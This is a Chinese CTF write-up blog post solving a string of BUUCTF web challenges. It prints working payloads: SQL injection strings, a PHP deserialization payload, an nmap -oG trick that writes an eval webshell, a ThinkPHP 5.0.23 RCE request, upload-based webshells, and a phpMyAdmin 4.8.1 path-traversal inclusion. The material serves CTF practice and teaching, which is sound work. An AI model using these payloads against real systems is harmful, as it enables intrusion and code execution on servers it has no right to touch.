前言
接上篇,继续刷题
正文
[极客大挑战 2019]HardSQL
考点:报错注入。过滤了空白字符、=等
EXP:
1 2 3 4 5 6 7 8 9 10
| # 取表名 check.php?username=1&password=1%27^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)regexp(database())),0x7e),1)%23
# 取列名 check.php?username=1&password=1%27^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_schema)regexp(database())),0x7e),1)%23
# 读数据 check.php?username=1&password=1%27^updatexml(1,concat(0x7e,(select(group_concat(id,password,username))from(H4rDsq1)),0x7e),1)%23
# 读取不全使用right()取右边部分内容
|
[GXYCTF2019]BabySQli
登录注入题。
老规矩,先分别使用单引号试报错,顺便看看pw参数有无带入数据库查询(与常见登录验证判断有关)。
尝试后发现,user参数报错,pw不报错。
猜测后端验证逻辑应该是先通过用户名查询数据库信息,再与pw参数做比较。
对于这种验证码方法我们通常采用联合注入法,通过控制返回内容来绕过登录。
EXP:
1 2 3
| POST /search.php
name=1'union select 1,'admin','202cb962ac59075b964b07152d234b70'%23&pw=123
|
[RoarCTF 2019]Easy Java
打开题目,发现页面存在一个奇怪链接:
1
| <center><p><a href="Download?filename=help.docx" target="_blank">help</a></p></center>
|
看样子应该是一个任意文件下载,只不过不知道能不能跨目录出去读取其他文件。
这里存在一个脑洞,直接GET会报错,改换POST访问才行。
1
| java.io.FileNotFoundException:{help.docx}
|
不过也是通过这个“脑洞”,让我们得知此题的后端程序是java。
我们知道,对于java的web开发,WEB-INF文件夹至关重要,其中的web.xml文件对要访问的文件进行相应映射才能访问。
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class。
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件。
利用:
通过找到web.xml文件,推断class文件路径,最后下载class文件,通过反编译class文件,得到网站源码。
摘自:Web源码泄露总结
故我们读取/WEB-INF/web.xml。

根据命名规则我们推断该class对应的字节码文件应存放在:
1
| /WEB-INF/classes/com/wm/ctf/FlagController.class
|
读取后得到flag:

[网鼎杯 2020 青龙组]AreUSerialz
打开题目,得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| <?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op; protected $filename; protected $content;
function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
private function output($s) { echo "[Result]: <br>"; echo $s; }
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
}
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
}
|
简单的反序列题+LFI,关键就在于is_valid函数的绕过。
此函数限制了payload对应的ascii码区间范围。
若我们直接正常的使用如下payload:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php
class FileHandler {
protected $op="2"; protected $filename="php://filter/read=convert.base64-encode/resource=flag.php"; protected $content="123"; }
$a = new FileHandler(); echo urlencode(serialize($a)); ?>
|
会发现payload中有不可见字符%00,该字符的ascii值是0,会被is_valid拦截。
法一:php7.1+版本对属性类型不敏感
直接修改为public属性,EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php
class FileHandler {
public $op="2"; public $filename="php://filter/read=convert.base64-encode/resource=flag.php"; public $content="123"; }
$a = new FileHandler(); echo urlencode(serialize($a)); ?>
|
法二:使用16进制绕过
对于%00出现的属性,只需要将变量名前的小写的s改成大写的S,即可将变量名用16进制表示。
1 2
| 如:s:11:'%00*%00filename'; 表示为:S:11:'\x00*\x00filename';
|
打开题目得源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; }
if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }
|
命令执行题,本题关键是得绕过escapeshellarg与escapeshellcmd。
关键点再与此处连续套用了转义函数,导致出现了由此产生的bypass绕过方法。
对于$host=a'b来说
1 2 3
| escapeshellarg转义后为:'a\'''b' 而后经escapeshellcmd转义后为: 'a\\'''b' 如此以来片会造成引号的逃离
|
EXP:
1
| ?host=' <?php @eval($_POST["cmd"]);?> -oG evil.php '
|
Nmap中-oG参数也将输出结果写入文件,我们利用此来写入一个webshell。
然后用蚁剑等webshell管理工具连接读取flag即可。
[GYCTF2020]Blacklist
强网杯随便注魔改题。
考点:handler代替select查询。
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
1 2 3 4 5 6
| handler users open as yunensec; handler yunensec read first; handler yunensec read next; handler yunensec read next; ... handler yunensec close;
|
EXP:
1
| 1';handler `FlagHere` open as yunensec;handler yunensec read first;#
|
[BJDCTF 2nd]old-hack
打开题目,发现页面存在Powered by THINKPHP5的提示。
随便访问一个控制器:/index.php?s=/index/aaaa,在debug页得到tp版本为5.0.23。
Google一下tp5.0.23的漏洞,发现RCE一枚。
1 2 3
| # ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug POST / _method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
|
摘自:https://y4er.com/post/thinkphp5-rce/

[De1CTF 2019]SSRF Me
题目给出Hint:flag is in ./flag.txt。
打开题目给出源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
|
from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json
reload(sys) sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if(not os.path.exists(self.sandbox)): os.mkdir(self.sandbox) def Exec(self): result = {} result['code'] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print resp tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param) @app.route('/De1ta',methods=['GET','POST']) def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if(waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/') def index(): return open("code.txt","r").read() def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] except: return "Connection Timeout" def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest() def md5(content): return hashlib.md5(content).hexdigest() def waf(param): check=param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False if __name__ == '__main__': app.debug = False app.run(host='0.0.0.0',port=80)
|
考点:MD5长度拓展攻击、local_file协议。
利用长度拓展攻击绕过sign的验证,再利用local_file协议读取文件内容(file协议为封装好的local_file协议)即可,不过直接不填写任何协议直接让param为flag.txt也可以,因为如果不写协议名称默认即为file协议。
由于篇幅限制,这里不进行对hash长度拓展攻击的解读。
[GKCTF2020]cve版签到
题目给出提示:cve-2020-7066
通过搜索引擎查找得到如下信息:https://bugs.php.net/bug.php?id=79329

可以看到在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中get_headers函数存在00截断问题。
题目首页告诉了我们:
1
| You just view *.ctfhub.com
|
故不能直接输入其他的地址,故我们尝试截断试试让其获取的值为本地IP:127.0.0.1:
可以看到题目返回了PHP版本为7.3.15,00截断问题存在,而后又给出了提示,HOST必须为123,修改或访问得到FLAG:

[GXYCTF2019]禁止套娃
打开题目,首页显示:
查看源代码以及响应头,均无tips给出
使用direarch扫描文件,得到如下结果:

发现存在.git目录泄露,尝试还有lijiejie的githack脚本还原代码:
1
| python2 Githack.py http://www.example.com/.git/
|
得到文件index.php,源代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } }
?>
|
很明显,题目需要我们构造一个无参命令执行payload。
常见的无参构造利用方法如下:
- getenv()+array_rand()+array_flip(),其中getenv返回包含当前环境信息的数组,array_rand随机返回数组的值,array_flip将数组键值互换。
- end(getallheaders())
- apache+array_rand()+end()+ger_defined_vars()
- hex2bin()+session_id()+session_start(),PHPSESSION允许数字与字母出现(部分符号也可,如括号,点号)。
- dirname()取目录参数的上一级目录,getcwd()取当前目录,chdir设置当前工作目录。跨目录读取demo:
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));。
readfile(next(array_reverse(scandir(current(localeconv())))));
摘自:PHP Parametric Function RCE)
- end() – 将内部指针指向数组中的最后一个元素,并输出
- next() – 将内部指针指向数组中的下一个元素,并输出
- prev() – 将内部指针指向数组中的上一个元素,并输出
- reset() – 将内部指针指向数组中的第一个元素,并输出
- each() – 返回当前元素的键名和键值,并将内部指针向前移动
常见数组操作,摘自:w3school
题目关键正则分析:[a-z,_]+\((?R)?\)
(?R)表示当前正则表达式,也就是[a-z,_]+\((?R)?\)本身,故这个表达式本质上类似套娃正则,即:
1 2 3
| [a-z,_]+\([a-z,_]+\([a-z,_]+\([a-z,_]+\(...\)\)\)\) 能匹配: a(b(c(...))) # 任意个函数的嵌套,注意都是用的函数返回值做参
|
法一:

法二:

法三:

[MRCTF2020]你传你🐎呢
经典上传题,.htaccess解析图片即可。

上传包含php代码的文件:

访问即可得到FLAG:

简单总结下上传题经典套路:
- gif89a文件头、
Content-Type: image/jpeg文件类型、上传%00截断文件名
php、php2、php3、php4、php5、phtml、phtm后缀
- .htaccess、.user.ini特殊上传,前者要求apache环境后者要求,同目录下需要存在一个php文件
<script language=”php”>、<? ?>、<?= ?>。
[安洵杯 2019]easy_web
打开题目,观察到被跳转到了另一个URL:
1
| index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
|
img参数有点想base64编码,连续base64解码得到:

注意观察,有数字,有字母,无符号,数字0、3、5、2、7、6,字母e,满足hex的范畴,尝试hex转字符串得:
故此题的编码应该为string->hex->base64->base64
尝试读取index.php,img参数为base64_encode(base64_encode(hex2bin('index.php'))):
1
| /index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
|
得index.php源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) { echo '<img src ="./ctf3.jpeg">'; die("xixiï½ no flag"); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>"; echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } }
?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color:#CCCCCC; } </style> <body> </body> </html>
|
其中关于:
1
| (string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])
|
的绕过是老生常谈了,这里对这种md5函数总结一下几种方法:
数组对比,a[]=1&b[]=2,md5($a)=null且md5($b)=null
0e弱比较绕过,s878926199a和s1091221200a
`
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
明文不同,MD5相同。
content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1’or’8
string: T0Do#’or’8
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: ‘or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: ‘or’6]!r,b
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| + NaN和INF
这里我们用第三种办法来绕过即可,而对于命令执行,我们知道,在php中,反引号\`可以当做系统命令执行,而这里又进行了很多过滤,在之前篇的刷题记录中我有提到命令执行的常见讨论,这里我们使用反斜线\绕过。
在Linux中,反斜线会被省略掉,即`ca\t`与`cat`相同。
故EXP:

## [MRCTF2020]Ez_bypass
打开题目得到如下源代码:
```php <?php include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step'; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if (!is_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); } else { echo "can you think twice??"; } } else{ echo 'You can not get it !'; }
} else{ die('only one way to get the flag'); } } else { echo "You are not a real hacker!"; } } else{ die('Please input first'); } }
|
简单的md5绕过+弱比较,EXP:
1 2 3 4 5
| POST /?gg[]=1&id[]=2 HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15
passwd=1234567a
|
[BJDCTF2020]Mark loves cat
打开题目,页面元素过多,感觉没有啥可用的信息。
简单看一下HTML源代码+请求响应头后,就打开direarch开始扫描了:
1
| python3 direarch.py -u http://x.x.x.x/ -e php,zip -t 1 # BUU请求数限制
|
扫描器有扫到.git目录,随后打开lijiejie的githack工具,尝试dump下源码。
主要文件index.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php
include 'flag.php';
$yds = "dog"; $is = "cat"; $handsome = 'yds';
foreach($_POST as $x => $y){ $$x = $y; }
foreach($_GET as $x => $y){ $$x = $$y; }
foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ exit($handsome); } }
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); }
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($is); }
echo "the flag is: ".$flag;
|
可用看到开头就有两个变量注册:
1 2 3 4 5 6 7
| foreach($_POST as $x => $y){ $$x = $y; }
foreach($_GET as $x => $y){ $$x = $$y; }
|
会把$_GET和$_POST的键名作为变量名,值作为变量值,来组成新的变量。
接着有三段连续的死亡exit,我们不能让我们的payload执行到那里。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ exit($handsome); } }
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); }
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($is); }
|
本题的关键是需要满足isset($_GET['flag']) || isset($_POST['flag']的同时,还需满足$_POST['flag'] !== 'flag' && $_GET['flag'] !== 'flag'。
法一
1 2 3
| if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); }
|
通过GET方式传递参数yds=flag,使得$yds=$flag,最终执行到上述代码时带出flag的值。
法二
1 2 3 4
| GET /?_POST=_GET&_GET=_COOKIE HTTP/1.1 Host: xxxxx.node3.buuoj.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 Cookie: flag=1
|
通过覆盖$_POST与$_GET绕来两个死亡exit,通过最终的输出那道flag。

[GWCTF 2019]我有一个数据库
从题目猜出应该是与数据库有关的题目,通过扫描工具扫描得出:phpinfo.php与phpmyadmin目录。
访问phpmyadmin,访问直接已经登录好了。在首页处得到phpmyadmin版本:4.8.1。
通过phpinfo可以得到网站运行目录:/var/www/html
尝试直接写出文件,查看secure_file_priv权限,如果为’’则可以写入文件,为NULL则无权限。

再尝试修改日志路径拿shell

报错,提示权限不足。
打开搜索引擎,搜索phpmyadmin 4.8.1之后找到一个phpmyadmin的包含漏洞,详细分析地址:phpmyadmin4.8.1后台GetShell。
用图中的payload直接读取FLAG:
1
| /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../flag
|

[GXYCTF2019]BabyUpload
这题和上边那题MRCTF2020的上传题是一样的,都是上传.httaccess文件后再上传一个jpg文件即可。

注意,这里做了文件头和php内容判断,用GIF89a和<script language='php'>php代码</script>。

读取根目录的FLAG:
1
| /upload/0cffff4b7b760870553f87db86cc9953/2.jpg?cmd=highlight_file(%27/flag%27);
|
